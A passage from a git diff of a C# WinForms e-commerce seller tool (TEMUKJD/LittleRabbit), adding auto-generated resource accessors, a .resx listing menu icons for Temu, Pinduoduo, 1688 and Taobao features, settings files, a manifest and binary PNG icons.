查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap nopic { + get { + object obj = ResourceManager.GetObject("nopic", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap normal { + get { + object obj = ResourceManager.GetObject("normal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap normal_hover { + get { + object obj = ResourceManager.GetObject("normal_hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap qrcode { + get { + object obj = ResourceManager.GetObject("qrcode", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap regedit_bg { + get { + object obj = ResourceManager.GetObject("regedit_bg", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap SalesCenter { + get { + object obj = ResourceManager.GetObject("SalesCenter", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap SalesCenter_hover { + get { + object obj = ResourceManager.GetObject("SalesCenter_hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap settings { + get { + object obj = ResourceManager.GetObject("settings", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap ShopManager { + get { + object obj = ResourceManager.GetObject("ShopManager", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap ShopManager_hover { + get { + object obj = ResourceManager.GetObject("ShopManager_hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap system_1688 { + get { + object obj = ResourceManager.GetObject("system_1688", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap system_pdd { + get { + object obj = ResourceManager.GetObject("system_pdd", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap system_pdd_token { + get { + object obj = ResourceManager.GetObject("system_pdd_token", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap system_pppoe { + get { + object obj = ResourceManager.GetObject("system_pppoe", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap system_proxy { + get { + object obj = ResourceManager.GetObject("system_proxy", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap system_tb { + get { + object obj = ResourceManager.GetObject("system_tb", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找类似 <!doctype html> + ///<html> + ///<head> + /// <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + /// <meta http-equiv="X-UA-Compatible" content="IE=edge"> + /// <meta name="renderer" content="webkit"> + /// <meta name="viewport" content="width=device-width, initial-scale=1"> + /// <title></title> + /// <meta name="keywords" content="" /> + /// <meta name="description" content="" /> + /// <link rel="stylesheet" type="text/css" href="{CssPath}" /> + /// <link rel="stylesheet" type="text/css" href="http:// [字符串的其余部分被截断]"; 的本地化字符串。 + /// + internal static string template { + get { + return ResourceManager.GetString("template", resourceCulture); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_default_icon { + get { + object obj = ResourceManager.GetObject("tree_default_icon", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_default_icon_select { + get { + object obj = ResourceManager.GetObject("tree_default_icon_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_云违规排查 { + get { + object obj = ResourceManager.GetObject("tree_云违规排查", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_云违规排查_select { + get { + object obj = ResourceManager.GetObject("tree_云违规排查_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_产品数据库 { + get { + object obj = ResourceManager.GetObject("tree_产品数据库", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_产品数据库_select { + get { + object obj = ResourceManager.GetObject("tree_产品数据库_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_佣金设置 { + get { + object obj = ResourceManager.GetObject("tree_佣金设置", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_佣金设置_select { + get { + object obj = ResourceManager.GetObject("tree_佣金设置_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_净化数据 { + get { + object obj = ResourceManager.GetObject("tree_净化数据", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_净化数据_select { + get { + object obj = ResourceManager.GetObject("tree_净化数据_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_商品上下架 { + get { + object obj = ResourceManager.GetObject("tree_商品上下架", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_商品上下架_select { + get { + object obj = ResourceManager.GetObject("tree_商品上下架_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_商品发布 { + get { + object obj = ResourceManager.GetObject("tree_商品发布", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_商品发布_select { + get { + object obj = ResourceManager.GetObject("tree_商品发布_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_商品管理 { + get { + object obj = ResourceManager.GetObject("tree_商品管理", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_商品管理_select { + get { + object obj = ResourceManager.GetObject("tree_商品管理_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_库存管理 { + get { + object obj = ResourceManager.GetObject("tree_库存管理", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_库存管理_select { + get { + object obj = ResourceManager.GetObject("tree_库存管理_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_店铺列表 { + get { + object obj = ResourceManager.GetObject("tree_店铺列表", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_店铺列表_select { + get { + object obj = ResourceManager.GetObject("tree_店铺列表_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_清理无流量 { + get { + object obj = ResourceManager.GetObject("tree_清理无流量", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_清理无流量_select { + get { + object obj = ResourceManager.GetObject("tree_清理无流量_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_用户管理 { + get { + object obj = ResourceManager.GetObject("tree_用户管理", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_用户管理_select { + get { + object obj = ResourceManager.GetObject("tree_用户管理_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_素材库管理 { + get { + object obj = ResourceManager.GetObject("tree_素材库管理", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_素材库管理_select { + get { + object obj = ResourceManager.GetObject("tree_素材库管理_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_解除限制 { + get { + object obj = ResourceManager.GetObject("tree_解除限制", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_解除限制_select { + get { + object obj = ResourceManager.GetObject("tree_解除限制_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_跳转上家 { + get { + object obj = ResourceManager.GetObject("tree_跳转上家", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_跳转上家_select { + get { + object obj = ResourceManager.GetObject("tree_跳转上家_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_运费模板 { + get { + object obj = ResourceManager.GetObject("tree_运费模板", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap tree_运费模板_select { + get { + object obj = ResourceManager.GetObject("tree_运费模板_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap 公告发布 { + get { + object obj = ResourceManager.GetObject("公告发布", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/TEMUKJD/Properties/Resources.resx b/TEMUKJD/Properties/Resources.resx new file mode 100644 index 0000000..0b01535 --- /dev/null +++ b/TEMUKJD/Properties/Resources.resx @@ -0,0 +1,385 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\resources\banner_bg.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\basemsgerr.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\basemsginfo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\basemsgque.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\choice_buyer_blast.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\choice_chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\choice_extend.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\choice_loginer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\choice_order.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\choice_upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\close.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\close.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\static\dycategorys.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + + ..\resources\fullpaste.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\icon.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\static\js\jquery.dad.min.js;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + + ..\resources\loading_blue.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\login_bg.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\login_bg_agent.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\login_input_bg.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\login_user_ico.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\main_form_logo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\main_form_top_right_bg.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\main_menu_collect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\main_menu_collect_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\main_menu_sales_center.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\main_menu_sales_center_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\main_menu_settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\main_menu_settings_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\main_menu_shop_manage.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\main_menu_shop_manage_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\main_menu_upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\main_menu_upload_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\max.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\max.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\min.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\min.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\static\nopic.jpg;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\normal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\normal.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\qrcode.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\regedit_bg.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\salescenter.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\salescenter.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\shopmanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\shopmanager.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\system_1688.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\system_pdd.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\system_pdd_token.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\system_pppoe.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\system_proxy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\system_tb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\template.html;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + + ..\resources\tree_default_icon.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_default_icon_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_云违规排查.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_云违规排查_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_产品数据库.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_产品数据库_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tree_佣金设置.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tree_佣金设置_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_净化数据.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_净化数据_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_商品上下架.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_商品上下架_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_商品发布.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_商品发布_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_商品管理.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_商品管理_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_库存管理.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_库存管理_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_店铺列表.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_店铺列表_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_清理无流量.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_清理无流量_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_用户管理.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_用户管理_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_素材库管理.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_素材库管理_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tree_解除限制.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\tree_解除限制_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_跳转上家.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_跳转上家_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_运费模板.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\tree_运费模板_select.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\static\base.css;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + + ..\resources\公告发布.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/TEMUKJD/Properties/Settings.Designer.cs b/TEMUKJD/Properties/Settings.Designer.cs new file mode 100644 index 0000000..385f1c6 --- /dev/null +++ b/TEMUKJD/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace LittleRabbit.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.6.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/TEMUKJD/Properties/Settings.settings b/TEMUKJD/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/TEMUKJD/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/TEMUKJD/Properties/app.manifest b/TEMUKJD/Properties/app.manifest new file mode 100644 index 0000000..115b1e5 --- /dev/null +++ b/TEMUKJD/Properties/app.manifest @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/TEMUKJD/Resources/BaseMsgErr.png b/TEMUKJD/Resources/BaseMsgErr.png new file mode 100644 index 0000000..1912f06 Binary files /dev/null and b/TEMUKJD/Resources/BaseMsgErr.png differ diff --git a/TEMUKJD/Resources/BaseMsgInfo.png b/TEMUKJD/Resources/BaseMsgInfo.png new file mode 100644 index 0000000..f0c961e Binary files /dev/null and b/TEMUKJD/Resources/BaseMsgInfo.png differ diff --git a/TEMUKJD/Resources/BaseMsgQue.png b/TEMUKJD/Resources/BaseMsgQue.png new file mode 100644 index 0000000..59ff5e0 Binary files /dev/null and b/TEMUKJD/Resources/BaseMsgQue.png differ diff --git a/TEMUKJD/Resources/FullPaste.png b/TEMUKJD/Resources/FullPaste.png new file mode 100644 index 0000000..f1c29d8 Binary files /dev/null and b/TEMUKJD/Resources/FullPaste.png differ diff --git a/TEMUKJD/Resources/SalesCenter.hover.png b/TEMUKJD/Resources/SalesCenter.hover.png new file mode 100644 index 0000000..f7a1a65 Binary files /dev/null and b/TEMUKJD/Resources/SalesCenter.hover.png differ diff --git a/TEMUKJD/Resources/SalesCenter.png b/TEMUKJD/Resources/SalesCenter.png new file mode 100644 index 